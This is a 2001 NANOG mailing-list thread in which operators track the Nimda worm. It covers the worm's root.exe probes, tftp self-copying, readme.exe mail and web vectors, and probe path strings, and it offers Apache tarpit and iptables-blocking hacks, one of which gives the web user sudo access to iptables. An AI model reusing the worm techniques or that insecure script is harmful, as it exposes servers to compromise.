ugh...this is way more impact...a 128k ISDN customer running an NT/Win2k box is at 100% BW, and my 2x T1's are at about 2x normal traffic for this time of day, although still well short of capacity...apache server processor load is WAY up just from the requests, and the logs are growing like mad. On Tue, 18 Sep 2001, deeann mikula wrote:

On Tue, 18 Sep 2001, ravi pina wrote:

...

On Tue, Sep 18, 2001 at 09:54:31AM -0400, sigma@pair.com said at one point in time:

...

Has anyone else been seeing a dramatic increase in /scripts/.. NT worm probes this morning? We're seeing about 8000/second, starting around 9:15 Eastern time, to and from a wide variety of addresses.

affirmative. i just looked at my logs, and it looks like each probe tries a bunch of things. i haven't seen much on the lists, but i'm looking right now.

i'm pretty sure that the worm's attack phase starts on the 20th (which of course, depends upon a correctly set system clock) and also that attempting to execute something like /scripts/root.ext/c++ something is involved.

i think that cert's website would be a good place to look. i'm *not* a security/virus chick, but i did host a talk by marty linder of cert where he discected code red's activity and presented a summary.

cert is of course, http://www.cert.org.

deeann m.m. mikula

director of operations telerama public access internet http://www.telerama.com 1.877.688.3200

James Smallacombe PlantageNet, Inc. CEO and Janitor up@3.am http://3.am =========================================================================

On Tue, 18 Sep 2001 10:22:06 CDT, Bryan Heitman <bryanh@communitech.net> said:

We're also seeing a large increase in this activity. This seems to be more severe than the first time. Have an additional 30 to 40 meg inbound from this.

This seems to be the culprit: Concept Virus(CV) V.5, Copyright(C)2001 R.P.China I've nailed a copy, and am working on getting it to the right security people. A *PRELIMINARY* (eyeballing the output of 'strings' indicates that this one *both* sends itself via-email a la SirCam, *AND* scans for vulnerable web servers, and if it finds a vulnerable server, it causes anybody visiting that webpage to be offered a contaminated .exe as well. I do *NOT* have a handle on what malicious effects it has other than just propagating. This one's nasty, folks... -- Valdis Kletnieks Operating Systems Analyst Virginia Tech

Folks, If anyone has a packet capture of the infection in progress, would you please contact me. I would like to get it to the some of the Cisco IOS folks ASAP. (Not my official job, but would like to help.) Thanks!! Michael Airhart At 11:54 AM 9/18/2001 -0400, Eric Gauthier wrote:

...

Concept Virus(CV) V.5, Copyright(C)2001 R.P.China I've nailed a copy, and am working on getting it to the right security people. A *PRELIMINARY* (eyeballing the output of 'strings' indicates that this one *both* sends itself via-email a la SirCam, *AND* scans for vulnerable web servers, and if it finds a vulnerable server, it causes anybody visiting that webpage to be offered a contaminated .exe as well. I do *NOT* have a handle on what malicious effects it has other than just propagating.

I work at a large university and our security guys think this guy is what's been causing us problems all morning. Lots of subnet scans (tons of incomplete arps), CC Mail servers are wacking out, HPOV noting that old 3Com gear is dropping etc. This is what I've heard through the rumor mill (so take it with a grain of salt)...

"...At first blush, it spreads itself via by web, email, and maybe shares. We've seen it spreading by a set of two HTTP requests. It will look for backdoors left behind by Code Red, such as /scripts/root.exe. It uses tftp to copy itself to the target machine then launches it via a second HTTP command."

Eric :)

-------------------------------------------------------------------------------------------------------- Michael Airhart 512/378-1246 Office Consulting Systems Engineer 413/480-1958 eFax Cisco Systems, Inc. 800/365-4578 Pager 12515 Research Blvd mairhart@cisco.com Austin, TX 78759

indeed. scanning for strings that appear to be associated with the Concept Virus(CV) V.5, there is a tremendous increase in bandwidth usage. today alone i match: /scripts: 18013 /_vti_bin: 1885 _mem_bin: 1916 /ms_adc/: 1945 /winnt/system32: 27648 bugtraq is starting to get in the preliminary reports of this worm. beware that infected host's home pages contain a javascript that sends you to a page that attempts to send you a copy of the worm. fantastic, eh? -r On Tue, Sep 18, 2001 at 11:05:35AM -0400, up@3.am said at one point in time:

ugh...this is way more impact...a 128k ISDN customer running an NT/Win2k box is at 100% BW, and my 2x T1's are at about 2x normal traffic for this time of day, although still well short of capacity...apache server processor load is WAY up just from the requests, and the logs are growing like mad.

On Tue, 18 Sep 2001, deeann mikula wrote:

...

On Tue, 18 Sep 2001, ravi pina wrote:

...

On Tue, Sep 18, 2001 at 09:54:31AM -0400, sigma@pair.com said at one point in time:

...

Has anyone else been seeing a dramatic increase in /scripts/.. NT worm probes this morning? We're seeing about 8000/second, starting around 9:15 Eastern time, to and from a wide variety of addresses.

affirmative. i just looked at my logs, and it looks like each probe tries a bunch of things. i haven't seen much on the lists, but i'm looking right now.

i'm pretty sure that the worm's attack phase starts on the 20th (which of course, depends upon a correctly set system clock) and also that attempting to execute something like /scripts/root.ext/c++ something is involved.

i think that cert's website would be a good place to look. i'm *not* a security/virus chick, but i did host a talk by marty linder of cert where he discected code red's activity and presented a summary.

cert is of course, http://www.cert.org.

deeann m.m. mikula

director of operations telerama public access internet http://www.telerama.com 1.877.688.3200

James Smallacombe PlantageNet, Inc. CEO and Janitor up@3.am http://3.am =========================================================================

-- echo "send pgp key" | mail ravi@cow.org ; ravi@happy:/home/ravi# rm -rf /bin/laden "Now I don't want you to worry, class. These tests will have no effect on your grades. They merely determine your future social status and financial success. If any." -- Mrs. Krabappel

Follow up... The web page on infected servers includes a script to send and open the file 'readme.exe' on windows machines. I do not know the details of when the executable does yet. Mark

I just got an e-mail with Subject: Central Command News for 09/14/2001 (Virus Update Notification) It had readme.exe attached to it. Obviously one should not open this. Time to create a new .procmail rule. On Tue, Sep 18, 2001 at 11:23:30AM -0500, Tim Winders wrote:

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1

I just received this update from Sophos. Perhaps this is the virus that is spreading?

-- snip --

Description:

W32/Nimda-A is an email-aware virus that spreads using an attached filename of README.EXE.

Sophos researchers are continuing to examine the virus and will be posting a more detailed description of the virus on the Sophos website once the analysis is complete.

-- Jared Mauch | pgp key available via finger from jared@puck.nether.net clue++; | http://puck.nether.net/~jared/ My statements are only mine.

Slightly off-topic here...(I guess) I'm looking for anyone that is using Extreme Networks gear and that may be having difficulty with OSPF or STP. Please contact me off list... OT Flames encouraged! -- Richard Sena The MITRE Corporation e: rsena@mitre.org Lead Engineer 202 Burlington Road v: +1-781-271-3712 Dept: R10N; MS C020 Bedford, MA 01730-1420 f: +1-781-271-2600

I protected against readme.exe specifically several weeks ago. I also proactively filter all incoming emails for executable attachments. [Begin sample] Regarding your message to x msgid=<x@x.x.net> You are receiving this message due to the fact a possible email attack was detected passing through our mail servers from you. This was probally due to a file attachment. As many of these attachements can run on their own we only allow harmless file types to be sent. If you wish to send this file anyway please use a compression program. If you have further questions please do not hesitate to give me a call at the number below. Bill Larson blarson@compu.net Network Administrator [Phone numbers here] REPORT: Trapped poisoned executable "readme.exe" REPORT: Not a document, or already poisoned by filename. Not scanned for macros. STATUS: Message quarantined, not delivered to recipient. -- Message sanitized on ns1.compu.net See http://www.impsec.org/email-tools/procmail-security.html for details. [End sample] Hopefully the notification does some good.

On Tue, Sep 18, 2001 at 01:36:48PM -0400, sigma@pair.com wrote:

Along those lines, weren't there some projects last time around to find and clean up the affected machines? Clearly there are LOTS of vulnerable NT servers still out there. Presumably these are being responded to just like Smurf amplifiers, and the problem is just that the admins are clueless or unreachable?

So far the most prolific network probing us has belonged to 9NetAve, which was bought by Concentric shortly before they became XO.

I got so far about 205 unique IPs from the scans. If anyone is interested I can put them on a webpage. Or even put quickly a script with db in the back for other people to provide their list of IPs.

Kevin

...

Hopefully the notification does some good.

-- Regards, Ulf. --------------------------------------------------------------------- Ulf Zimmermann, 1525 Pacific Ave., Alameda, CA-94501, #: 510-865-0204

We found the following on an infected server also: For each share on the server, it generates a .eml file and puts it in the root of the share. It then creates a index.asp, index.htm, default.asp and default.htm on the root of the share which points to and downloads the .eml file from the root of the share. Neat thing is, anyone with Active Desktop (View my Desktop as a Web Page) enabled is going to get it, presumably. Simply by browsing the shared directory. It looks like it morphs the .eml file names to. Not all are "readme.eml", althought they all are ~ 79K in size. Happy disinfecting. My customer on the end of a 56K FR link was fsck'd this afternoon. Welcome to IT during the first war fo the 21st century ... Eric ========================================================================== Eric Germann CCTec ekgermann@cctec.com Van Wert OH 45801 http://www.cctec.com Ph: 419 968 2640 Fax: 603 825 5893 "It is so easy to miss pretty trivial solutions to problems deemed complicated. The goal of a scientist is to find an interesting problem, and live off it for a while. The goal of an engineer is to evade interesting problems :)" -- Vadim Antonov <avg@kotovnik.com> on NANOG

-----Original Message----- From: owner-nanog@merit.edu [mailto:owner-nanog@merit.edu]On Behalf Of Valdis.Kletnieks@vt.edu Sent: Tuesday, September 18, 2001 2:34 PM To: sigma@pair.com Cc: nanog@merit.edu Subject: Re: Worm probes

On Tue, 18 Sep 2001 13:36:48 EDT, sigma@pair.com said:

...

Along those lines, weren't there some projects last time around to find and clean up the affected machines? Clearly there are LOTS of vulnerable NT servers still out there. Presumably these are being responded to just like

This also has an e-mail vector and a web DOWNLOAD vector.

There may be lots of vulnerable NT servers, but there's a lot MORE copies of Outlook and Internet Explorer out there.

Think SirCam *AND* CodeRed *AND* the infect-a-surfer vector.... -- Valdis Kletnieks Operating Systems Analyst Virginia Tech

On Tue, Sep 18, 2001 at 11:05:35AM -0400, up@3.am wrote:

ugh...this is way more impact...a 128k ISDN customer running an NT/Win2k box is at 100% BW, and my 2x T1's are at about 2x normal traffic for this time of day, although still well short of capacity...apache server processor load is WAY up just from the requests, and the logs are growing like mad.

I'm sitting behind a dialup box right now, and I just added a log clause to an ipf rule matching connection attempts to port 80. I'm averaging 35 probes per minute. Blocking them is quite beneficial to performance on a v.34 connection :) Joe

At 12:51 PM 9/18/01, Joseph McDonald wrote:

spc> Has anyone else been seeing a dramatic increase in /scripts/.. NT worm spc> probes this morning? We're seeing about 8000/second, starting around 9:15

Yes. We are seeing it here bigtime. Does anyone have any apache hacks to lessen the impact? One idea: Once a probe is sent, the prober's IP# is stored in a hash (perhaps in shared memory or a mmap'd file that all children can share) and new connections from that IP are no longer accepted.

Or better: script which causes a filter rule to be added to ipchains list, blocking all ports. ----------------------------------------------------------------- Daniel Senie dts@senie.com Amaranth Networks Inc. http://www.amaranth.com

On Tue, 18 Sep 2001, Joseph McDonald wrote:

Yes. We are seeing it here bigtime. Does anyone have any apache hacks to lessen the impact? One idea: Once a probe is sent, the prober's IP# is stored in a hash (perhaps in shared memory or a mmap'd file that all children can share) and new connections from that IP are no longer accepted.

Or what about this: redirect your 404 to a PHP script with something like: ErrorDocument 404 /404.php and then let a script like this waste the attacker's time: <? echo "404 This page is not available.\n"; flush(); sleep(150); ?> This should slow the scanning and thus the waste of bandwidth and spread rate of the infections down. At least, if the worm is single threaded. Iljitsch van Beijnum

should make these attacks slow down like they're wading through molasses. Now, if most or all ISPs installed tarpits like this it would seriously reduce the virulence of the attacks.

Actually, if most or all ISPs installed tarpits like this, it would lead exploit developers to implement timeouts that would quickly kill off connection attempts that were progressing at the expected rate. -- Brett

Hello Joseph, Tuesday, September 18, 2001, 11:51:43 AM, you wrote: JM> Yes. We are seeing it here bigtime. Does anyone have any apache hacks JM> to lessen the impact? One idea: Once a probe is sent, the prober's JM> IP# is stored in a hash (perhaps in shared memory or a mmap'd file JM> that all children can share) and new connections from that IP are no JM> longer accepted. Here's a possibility but I need help with one aspect: A) create a rule in your apache httpd.conf like this: <Location /scripts/root.exe> Deny from all ErrorDocument 404 http://www.everydns.net/blockip.php </Location> B) create blockip.php (or use perl or whatever[read: python]) <? $iptables = '/usr/local/sbin/iptables'; $ip = $REMOTE_ADDR; $blockline = $iptables." -A INPUT -s ".$ip." -p all -j DROP;"; system($blockline); ?> C) the caveat here is that you need to give the webuser (nobody) access to iptables. This can be done in sudo like this: nobody ALL=NOBODY: /usr/local/sbin/iptables The MAJOR problem is that you have now given your entire web site access to iptables. If you have a machine which has no "users" then this may be okay for you however for most of us it is not. Do any of you have a way to call a perl script directly from the httpd.conf entry and perhaps pass the REMOTE_ADDR to it? I know there's a way and I'll look for it, but in the meantime -- any ideas? Thanks, David Ulevitch mailto:davidu@everydns.net

Hi David Why not use Labrea (developed originally to tarpit CodeRed) ? <http://www.hackbusters.net/LaBrea/> - Rafi On Tue, 18 Sep 2001, David Ulevitch wrote:

Hello Joseph,

Tuesday, September 18, 2001, 11:51:43 AM, you wrote:

JM> Yes. We are seeing it here bigtime. Does anyone have any apache hacks JM> to lessen the impact? One idea: Once a probe is sent, the prober's JM> IP# is stored in a hash (perhaps in shared memory or a mmap'd file JM> that all children can share) and new connections from that IP are no JM> longer accepted.

Here's a possibility but I need help with one aspect:

A) create a rule in your apache httpd.conf like this:

<Location /scripts/root.exe> Deny from all ErrorDocument 404 http://www.everydns.net/blockip.php </Location>

B) create blockip.php (or use perl or whatever[read: python]) <? $iptables = '/usr/local/sbin/iptables'; $ip = $REMOTE_ADDR; $blockline = $iptables." -A INPUT -s ".$ip." -p all -j DROP;"; system($blockline); ?>

C) the caveat here is that you need to give the webuser (nobody) access to iptables. This can be done in sudo like this: nobody ALL=NOBODY: /usr/local/sbin/iptables

The MAJOR problem is that you have now given your entire web site access to iptables. If you have a machine which has no "users" then this may be okay for you however for most of us it is not. Do any of you have a way to call a perl script directly from the httpd.conf entry and perhaps pass the REMOTE_ADDR to it? I know there's a way and I'll look for it, but in the meantime -- any ideas?

Thanks, David Ulevitch mailto:davidu@everydns.net